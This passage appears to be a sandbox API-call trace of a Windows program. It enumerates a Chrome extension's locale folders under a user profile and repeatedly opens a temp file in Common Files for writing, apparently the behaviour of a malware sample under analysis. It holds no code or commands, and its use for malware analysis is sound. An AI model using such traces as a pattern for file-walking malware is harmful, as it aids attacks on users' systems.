Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25840, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.083] AreFileApisANSI () returned 1 [0133.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.083] GetFileType (hFile=0x19c) returned 0x1 [0133.084] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25943, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.084] AreFileApisANSI () returned 1 [0133.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.084] GetFileType (hFile=0x19c) returned 0x1 [0133.084] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25a46, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.084] AreFileApisANSI () returned 1 [0133.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.084] GetFileType (hFile=0x19c) returned 0x1 [0133.084] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25b49, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.084] AreFileApisANSI () returned 1 [0133.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.084] GetFileType (hFile=0x19c) returned 0x1 [0133.084] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25c4c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.085] AreFileApisANSI () returned 1 [0133.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.085] GetFileType (hFile=0x19c) returned 0x1 [0133.085] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25d4f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.085] AreFileApisANSI () returned 1 [0133.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.085] GetFileType (hFile=0x19c) returned 0x1 [0133.085] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25e52, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.085] AreFileApisANSI () returned 1 [0133.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.085] GetFileType (hFile=0x19c) returned 0x1 [0133.086] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25f58, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.086] AreFileApisANSI () returned 1 [0133.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.086] GetFileType (hFile=0x19c) returned 0x1 [0133.086] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x2605e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.086] AreFileApisANSI () returned 1 [0133.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.086] GetFileType (hFile=0x19c) returned 0x1 [0133.086] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26161, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.086] AreFileApisANSI () returned 1 [0133.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.087] GetFileType (hFile=0x19c) returned 0x1 [0133.087] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26268, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.087] AreFileApisANSI () returned 1 [0133.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.087] GetFileType (hFile=0x19c) returned 0x1 [0133.087] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x2636b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.087] AreFileApisANSI () returned 1 [0133.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.087] GetFileType (hFile=0x19c) returned 0x1 [0133.087] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x2646e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.088] AreFileApisANSI () returned 1 [0133.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.088] GetFileType (hFile=0x19c) returned 0x1 [0133.088] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26571, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.088] AreFileApisANSI () returned 1 [0133.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.088] GetFileType (hFile=0x19c) returned 0x1 [0133.088] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26675, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.088] AreFileApisANSI () returned 1 [0133.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.088] GetFileType (hFile=0x19c) returned 0x1 [0133.088] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26778, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.089] AreFileApisANSI () returned 1 [0133.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.089] GetFileType (hFile=0x19c) returned 0x1 [0133.089] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x2687b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.089] AreFileApisANSI () returned 1 [0133.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.089] GetFileType (hFile=0x19c) returned 0x1 [0133.089] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x2697e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.089] AreFileApisANSI () returned 1 [0133.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.089] GetFileType (hFile=0x19c) returned 0x1 [0133.089] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26a81, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.089] AreFileApisANSI () returned 1 [0133.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.090] GetFileType (hFile=0x19c) returned 0x1 [0133.090] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26b84, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.090] AreFileApisANSI () returned 1 [0133.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: 